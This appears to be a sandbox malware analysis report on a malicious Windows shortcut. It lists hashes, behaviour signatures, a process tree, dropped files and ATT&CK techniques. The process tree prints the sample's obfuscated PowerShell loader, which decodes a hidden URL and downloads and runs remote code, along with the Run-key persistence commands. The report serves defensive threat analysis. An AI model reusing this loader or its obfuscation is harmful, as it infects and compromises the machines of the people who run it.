fd591d4be34702b97a7f02b9aa9517c03ced3ccca6b49e272327be3f9f49ed2c

Analysis

max time kernel
149s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 12:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
photov_329494199046.lnk
Size 1KB
Sample260727-pergpasscs
SHA256 fd591d4be34702b97a7f02b9aa9517c03ced3ccca6b49e272327be3f9f49ed2c
MD5 f4036b9a3ffeeee8466ee8dec34a01f2
SHA1 82df046ff602e2c68c809956c1f599f1a8bd9061
SHA512 db67efeffeea9108c4a986ad1c2f62d9f02584a68e552e9a69018f90cd0d6f4cef4292ffe6b6e358ea70e62515257a78683235757795b7f0372a0867918634c0
TLSH
T18E315B6C66A00594FCFACB32E8BA21477C31EB677565FC4A10C5021D84A2A49B8B275A
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1020	powershell.exe
6	1020	powershell.exe
7	1020	powershell.exe
8	1020	powershell.exe
9	1020	powershell.exe
10	1020	powershell.exe
13	1020	powershell.exe
15	1020	powershell.exe
17	1020	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
3884	git.exe
5484	DCRCVDrv.sys
4696	git.exe
4912	git.exe

Loads dropped DLL 21 IoCs

pid	Process
3884	git.exe
3884	git.exe
3884	git.exe
3884	git.exe
3884	git.exe
3884	git.exe
3884	git.exe
4696	git.exe
4696	git.exe
4696	git.exe
4696	git.exe
4696	git.exe
4696	git.exe
4696	git.exe
4912	git.exe
4912	git.exe
4912	git.exe
4912	git.exe
4912	git.exe
4912	git.exe
4912	git.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GitWinx86 = "cmd /c start \"\" /D \"C:\\ProgramData\\GitWinx86\" \"C:\\ProgramData\\GitWinx86\\git.exe\""	git.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\ukko_yspj_zkm_csq_xze_v = "\"C:\\Users\\Admin\\AppData\\Local\\clyh_srndxlyi48_upd_ydyt\\git.exe\""	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GitWinx86 = "cmd /c start \"\" /D \"C:\\ProgramData\\GitWinx86\" \"C:\\ProgramData\\GitWinx86\\git.exe\""	git.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3884 set thread context of 4664	3884	git.exe	101
PID 4696 set thread context of 3968	4696	git.exe	102
PID 4912 set thread context of 4768	4912	git.exe	105

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1452	cmd.exe
2996	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1020	powershell.exe
1020	powershell.exe
4664	installutil.exe
4664	installutil.exe
4664	installutil.exe
4664	installutil.exe
3968	installutil.exe
3968	installutil.exe
3968	installutil.exe
3968	installutil.exe
4664	installutil.exe
4664	installutil.exe
4664	installutil.exe
4664	installutil.exe
3968	installutil.exe
3968	installutil.exe
3968	installutil.exe
3968	installutil.exe
4664	installutil.exe
4664	installutil.exe
4664	installutil.exe
4664	installutil.exe
3968	installutil.exe
3968	installutil.exe
3968	installutil.exe
3968	installutil.exe
4664	installutil.exe
4664	installutil.exe
4664	installutil.exe
4664	installutil.exe
3968	installutil.exe
3968	installutil.exe
3968	installutil.exe
3968	installutil.exe
4768	installutil.exe
4768	installutil.exe
4768	installutil.exe
4768	installutil.exe
4664	installutil.exe
4664	installutil.exe
4664	installutil.exe
4664	installutil.exe
3968	installutil.exe
3968	installutil.exe
3968	installutil.exe
3968	installutil.exe
4768	installutil.exe
4768	installutil.exe
4768	installutil.exe
4768	installutil.exe
4664	installutil.exe
4664	installutil.exe
4664	installutil.exe
4664	installutil.exe
3968	installutil.exe
3968	installutil.exe
3968	installutil.exe
3968	installutil.exe
4768	installutil.exe
4768	installutil.exe
4768	installutil.exe
4768	installutil.exe
4664	installutil.exe
4664	installutil.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
828	Process not Found
828	Process not Found
828	Process not Found

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeIncreaseQuotaPrivilege	1020	powershell.exe
Token: SeSecurityPrivilege	1020	powershell.exe
Token: SeTakeOwnershipPrivilege	1020	powershell.exe
Token: SeLoadDriverPrivilege	1020	powershell.exe
Token: SeSystemProfilePrivilege	1020	powershell.exe
Token: SeSystemtimePrivilege	1020	powershell.exe
Token: SeProfSingleProcessPrivilege	1020	powershell.exe
Token: SeIncBasePriorityPrivilege	1020	powershell.exe
Token: SeCreatePagefilePrivilege	1020	powershell.exe
Token: SeBackupPrivilege	1020	powershell.exe
Token: SeRestorePrivilege	1020	powershell.exe
Token: SeShutdownPrivilege	1020	powershell.exe
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeSystemEnvironmentPrivilege	1020	powershell.exe
Token: SeRemoteShutdownPrivilege	1020	powershell.exe
Token: SeUndockPrivilege	1020	powershell.exe
Token: SeManageVolumePrivilege	1020	powershell.exe
Token: 33	1020	powershell.exe
Token: 34	1020	powershell.exe
Token: 35	1020	powershell.exe
Token: 36	1020	powershell.exe
Token: SeDebugPrivilege	4664	installutil.exe
Token: SeDebugPrivilege	3968	installutil.exe
Token: SeDebugPrivilege	4768	installutil.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 1452 wrote to memory of 2996	1452	cmd.exe	90
PID 2996 wrote to memory of 1020	2996	cmd.exe	91
PID 5304 wrote to memory of 4696	5304	cmd.exe	99
PID 3884 wrote to memory of 4664	3884	git.exe	101
PID 3884 wrote to memory of 4664	3884	git.exe	101
PID 3884 wrote to memory of 4664	3884	git.exe	101
PID 3884 wrote to memory of 4664	3884	git.exe	101
PID 3884 wrote to memory of 4664	3884	git.exe	101
PID 4696 wrote to memory of 3968	4696	git.exe	102
PID 4696 wrote to memory of 3968	4696	git.exe	102
PID 4696 wrote to memory of 3968	4696	git.exe	102
PID 4696 wrote to memory of 3968	4696	git.exe	102
PID 4696 wrote to memory of 3968	4696	git.exe	102
PID 1020 wrote to memory of 4912	1020	powershell.exe	103
PID 4912 wrote to memory of 4768	4912	git.exe	105
PID 4912 wrote to memory of 4768	4912	git.exe	105
PID 4912 wrote to memory of 4768	4912	git.exe	105
PID 4912 wrote to memory of 4768	4912	git.exe	105
PID 4912 wrote to memory of 4768	4912	git.exe	105

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\photov_329494199046.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -c "$jobf1h=62;$hwuk_ek=4;$qz60ip=87;$c237ol=[bigint]::Parse('929208012523936764252911250778818183813830309');$hbtvcb_q7=[bigint]::Parse('919256320123229698930903026356001628008756012');$c237ol=$c237ol-$hbtvcb_q7;$swdgg6=@();while($c237ol -gt 0){$swdgg6+=[char][int]([bigint]::Remainder($c237ol,256));$c237ol=[bigint]::Divide($c237ol,256)};.([scriptblock]::Create((irm(-join$swdgg6))))"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "$jobf1h=62;$hwuk_ek=4;$qz60ip=87;$c237ol=[bigint]::Parse('929208012523936764252911250778818183813830309');$hbtvcb_q7=[bigint]::Parse('919256320123229698930903026356001628008756012');$c237ol=$c237ol-$hbtvcb_q7;$swdgg6=@();while($c237ol -gt 0){$swdgg6+=[char][int]([bigint]::Remainder($c237ol,256));$c237ol=[bigint]::Divide($c237ol,256)};.([scriptblock]::Create((irm(-join$swdgg6))))"
    3⤵
    - Badlisted process makes network request
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1020
  - - C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\git.exe
      "C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\git.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4912
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4768

C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\git.exe
"C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\git.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3884
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4664

C:\Windows\system32\cmd.exe
"cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
1⤵
- Suspicious use of WriteProcessMemory
PID:5304
- C:\ProgramData\GitWinx86\git.exe
  "C:\ProgramData\GitWinx86\git.exe""
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3968

C:\Windows\Temp\DCRCVDrv.sys
C:\Windows\Temp\DCRCVDrv.sys
1⤵
- Executes dropped EXE
PID:5484

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sfqpnz_tvac5_ai_ptvjvj.zip

Path C:\Users\Admin\AppData\Local\Temp\sfqpnz_tvac5_ai_ptvjvj.zip
Size 5.6MB
SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
MD5 c3cec70c65f28d3ecfd075af7ed0cdc0
SHA1 8a34ab30c6c4cc2c0e58c5765a78816628c81ce9
SHA512 1c7c623e0110d2d70212f654b69602b7434e87b15fc4a5296c58cebb2a4ecdda924cea0138d8024789349473594a629ad33d1b5e558bcd667c80c540fcb99b7f
SSDEEP 98304:vK0aBfy4p26C5DEWiKQdjl6zFqRuSh9csTNw4bY6mSU6oIBYTb1Zu4z5zLh3ruJr:YjbCxETKQd3RDh9jTu40FTTbXugbud
TLSH
T17A563342C478C5A8F195F87EAD6E94A8FA592101EC671FBF1F2502600C9F8C9F729678
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

git.exe

Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\git.exe
Size 4.2MB
SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
MD5 6ff84a2fb05d06f456578f5afa902945
SHA1 f60f869462fb6ef384f193e0e0b74e28d2aefbc6
SHA512 352428d1cb49ba194a076cb924435c2e941958c35e25d25e05de64bcf53f9d5c8712b389025c97997b968e03421c5c2aefc5dbd1b28b674d7a805bed5b696790
SSDEEP 49152:sQ/JXZZnKYimQ8SN0K3Y+kY0k7IOfSl+DBYx4CQ2Avwq8eKSIWLOFo5zOMcdFBmX:zo4IP7xW71dpTmO8lQJClxPPw6
TLSH
T112262907E2A360ECC96BC13996966732BA72F85801347E7F5694CB302F71E50572EF29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libiconv-2.dll

Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\libiconv-2.dll
Size 1.1MB
SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
MD5 987a6b7cd60f6c108550ebfc1771b911
SHA1 10ed03a50b0c5e4dc3acf6374328424474213fdb
SHA512 81a3d038bb4d95800febfa48fa478d4ee65e05abef190a27bd670bd2b154b07359b41964f063bfed5e8d3f5b40fb5666d0072f5f52595d93d5645295470437ce
SSDEEP 24576:SI1BAUZLY3wPKU7VbbTOZGavkg3NyeuQ6l9fH+fxr:F1BAUZLYgiU7IZGaXBuQQ9exr
TLSH
T14435CE62F3D3CB2BF263C6B0C96A5B26E427EC216B0605377664B3BC5D337A414C8566
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libintl-8.dll

Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\libintl-8.dll
Size 291KB
SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
MD5 edf8f1b85f2f01ff0a28a6a31c3e427d
SHA1 ff1bc2ec0a952a27b728f32c0c00c7c066097614
SHA512 41269d7ddc99104e950934e0eff78c306a8a73bdfb34a8535f133b0442001e489ba8a7a6b3d399a26f83982f8c83070afd8393ebb32cfc529549417be279e9ed
SSDEEP 6144:ZqvWcwWaX1Ziu21y+7DE4a0onJMFEdd+TuoJo:0WcOXow+8Wmiwd+TuoJo
TLSH
T1B5541907B247A9D9E153D5308987C7F5B973BC720BA0AAB726A0F33C2E318515B19B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libpcre2-8-0.dll

Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\libpcre2-8-0.dll
Size 701KB
SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
MD5 86f36fe5c094d844ac79cdd58dc6c8dd
SHA1 3484ac473e6a60920b26f6cad06fe0ec3bd34467
SHA512 22303f09216616bf7026d9cc5e8a788076d11107814dc1ec43fe0390116fdea58a5ed11b53652020576d8c6232a2cd524a23b4bb0455df1568763913da21e78e
SSDEEP 12288:c/94uwmMo7Q++CDdewFv4/iIhZ9SsChldffAf/fmjFUW8:c/Cy7BDd94/6sEXI3fmjFUW8
TLSH
T142E4D547F4E321E8CD36C175E7B732B2F53639E91035BDAE16A0C3322E139215A5AA1D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\libwinpthread-1.dll
Size 3.0MB
SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
MD5 9e4d0677fa7e5996bb0558558f8250e0
SHA1 9b8bfbb4cb8bd2ba0e9b0c16957bf54936ee254a
SHA512 0cf88c933e01854fef4a98e0465df08e12b3e6203bf47550b036e4fd28bd367ce8a74136344cad2d89df77a45ef19b0856db7ab326f7e580f77cffb635079d95
SSDEEP 49152:TCKosFyJxIG5oPVWk12JVB6iPQTUrrzAP11xy1rBLcyRGzaFjKWE5wtpFCzro1/G:CmOVnPQTUrrzAP11xy1rBLcyRGzaFjKD
TLSH
T121E5BF55A3D859E9D463DA349710E332C2B279634B75E08B0A9AC70A1F77D924F3FB02
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp140.dll

Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\msvcp140.dll
Size 540KB
SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
MD5 4e3fa9bd90ef020c14359639dc19312b
SHA1 a51032ec39a292afda65b0e3053d4ff3e3241512
SHA512 3e3c62fe860199953cc87e0516b77f6a039f2563cb6b5cc48edc51f243e5ea8fd9b2e3239a089966c403f17a8b3766090bc7b827399cceb00a37bac970855e15
SSDEEP 12288:M0MrE03u1mHWV/I3z+bQEKZm+jWodEEV7X:M0p1F/IiQEKZm+jWodEENX
TLSH
T180C42A23F75906E0E195E3B8A1838702D7F17C5A8322E3C742EB955E2F577D0A63B690
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ucrtbase.dll

Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\ucrtbase.dll
Size 1.3MB
SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
MD5 ef62e9b3d7203f825dbf5dda8d4770c9
SHA1 7f1f99f61082c63a645cea72d41481928b4d19cb
SHA512 cb79d334af2c436cd62d0f4be8ef8f4f89c4590c666125fd26a218426079beadb9da8cc99cdc28fcef6c3574a4941592f85019aa642f71f1e7559f599b75233c
SSDEEP 24576:T9KcgsGAmTfFqSgdDWqNUF3Z7Nkqnjqo3JYj8Jszg8mxvSZX0ypapJDBL:T9KpUmTfFqSgdDPq3DjqI08JXpJD9
TLSH
T15C55AE6176AD01E9C1BFD13DC64B4606E9B2781503708ADB03E94E792E3BBE9177B321
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140.dll

Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\vcruntime140.dll
Size 120KB
SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
MD5 0d35c5e99871b4f02c490b9fd9dace34
SHA1 c2280e6285147cd8010becc0cd3a120fca0088e0
SHA512 114bc156655e0d3249b6f94af1da80528b6695630f548ab596dfb406f6ffcc65276c9f900b637ba9c244ba5a4331aa15d2de0672f6dcbd38cb49a206c100698b
SSDEEP 1536:a9pCUgtBAVcxStMXcfG8VwfmpcGLOI5Sv+vecbeQ6N7l9gEeza/yLzt:qyA+3EOfmpcGSdOecbeQ6Nx9Mqsp
TLSH
T1B9C37B4272B802FBC16BD274C292AE27FBB6B50687605BDF07AA86650F537D06D3C341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140_1.dll

Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\vcruntime140_1.dll
Size 46KB
SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
MD5 03b43160d21c08de07a79d0a1c5ee81d
SHA1 0a449093006af667432b83303614b53b62fc0d05
SHA512 8b835205bf037b78144f0a4a78618a4e74ba087ac9916c83cb25aff266ddcf5c1b859a6e7c6fec2b57ffeee94fa2f52dd7f6e98c387a4ea7a3143fef6a9570b0
SSDEEP 768:BezSkbhNfI4fWLZyS/dPWxngU907N9z7RV80X9z+:2YZyuPWxn3Ivz7bDz+
TLSH
T1FC237E9293BC4086E89B8970C1DBDE57BD38B7D2576093CB1BA5E54C1E537C0E63832A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zlib1.dll

Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\zlib1.dll
Size 125KB
SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
MD5 30a31b969a3356efde11078dc635baa0
SHA1 331b61df1d5378809df58cbcfa292002d4adb06b
SHA512 66fc99ddc77df71ff01516f9b6a594987041f83e75e90fa62c74961c446d82a08ccee0ceafa5eaeb260a328a867a302a168777d69eff34de311b625619a51345
SSDEEP 3072:vGsOJXTFCi6G6Q8Kw3Ee+NFH+LdTGpaAt5kwxlZX7tmoh2NiDSR2F3e:+nSiBJe0FwGRUiOR2F3e
TLSH
T1B1C36B6BF6A364FEC6A7C17082E38BB1F031B81107246CBB9154D7752E20E50671DABD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DCRCVDrv.sys

Path C:\Windows\Temp\DCRCVDrv.sys
Size 137KB
SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
MD5 567c158ee0858f8e941d4ab7a6c18dbc
SHA1 47d922b0fd5d704025d14ef98ded46e74830a423
SHA512 f976cb8e9a2f0fc769e2e4345d18e1e9f01fdb1c4303eb20d94b625467e60ce20dd120e77a96d9ba498361dd6dc0066535404cb22cf99fc49607d1f35eaed2ab
SSDEEP 3072:6pEFTp46B6ETbeP/ItLK9Di8/4BQaeJzP:Y8Tp46B6EOLgBQX
TLSH
T10CD33A12A36550A4E977E2B8C6B65263EFF37861133547CF03608A654F23BE4B93A3D1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1020-23-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-7-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-11-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-12-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-13-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-14-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-15-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-16-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-17-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-18-0x000001B53BF10000-0x000001B53C0D2000-memory.dmp

Download

memory/1020-22-0x000001B53C0E0000-0x000001B53C192000-memory.dmp

Download

memory/1020-21-0x000001B53BE60000-0x000001B53BE7E000-memory.dmp

Download

memory/1020-9-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-24-0x000001B53BE50000-0x000001B53BE5A000-memory.dmp

Download

memory/1020-25-0x000001B53BEB0000-0x000001B53BEDA000-memory.dmp

Download

memory/1020-27-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-26-0x000001B53BEB0000-0x000001B53BED4000-memory.dmp

Download

memory/1020-28-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-8-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-10-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-6-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-5-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-4-0x000001B5233A0000-0x000001B5233C2000-memory.dmp

Download

memory/1020-2-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-29-0x000001B53C6D0000-0x000001B53CBF8000-memory.dmp

Download

memory/1020-30-0x000001B53BE90000-0x000001B53BE9A000-memory.dmp

Download

memory/1020-32-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-34-0x000001B53BEC0000-0x000001B53BED2000-memory.dmp

Download

memory/1020-37-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-1406-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

Download

memory/1020-0-0x00007FFEB9E9F000-0x00007FFEB9EA0000-memory.dmp

Download

memory/3884-127-0x00007FFEB1310000-0x00007FFEB13C6000-memory.dmp

Download

memory/3884-124-0x00007FFEB2E40000-0x00007FFEB2F5F000-memory.dmp

Download

memory/3884-123-0x00007FF666640000-0x00007FF666AAF000-memory.dmp

Download

memory/3884-125-0x00007FFEC12A0000-0x00007FFEC12C6000-memory.dmp

Download

memory/3884-126-0x00007FFEBAF20000-0x00007FFEBAF72000-memory.dmp

Download

memory/3968-755-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/4664-233-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-177-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-235-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-243-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-241-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-239-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-237-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-128-0x0000000004CE0000-0x0000000004CFA000-memory.dmp

Download

memory/4664-231-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-229-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-227-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-225-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-223-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-221-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-122-0x0000000000590000-0x0000000000600000-memory.dmp

Download

memory/4664-217-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-215-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-213-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-211-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-209-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-207-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-205-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-203-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-201-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-195-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-193-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-191-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-189-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-187-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-185-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-183-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-181-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-179-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-129-0x0000000004D20000-0x0000000004D4C000-memory.dmp

Download

memory/4664-175-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-171-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-169-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-167-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-165-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-163-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-159-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-157-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-155-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-151-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-150-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-143-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-141-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-139-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-137-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-135-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-219-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-199-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-197-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-173-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-161-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-153-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/4664-148-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

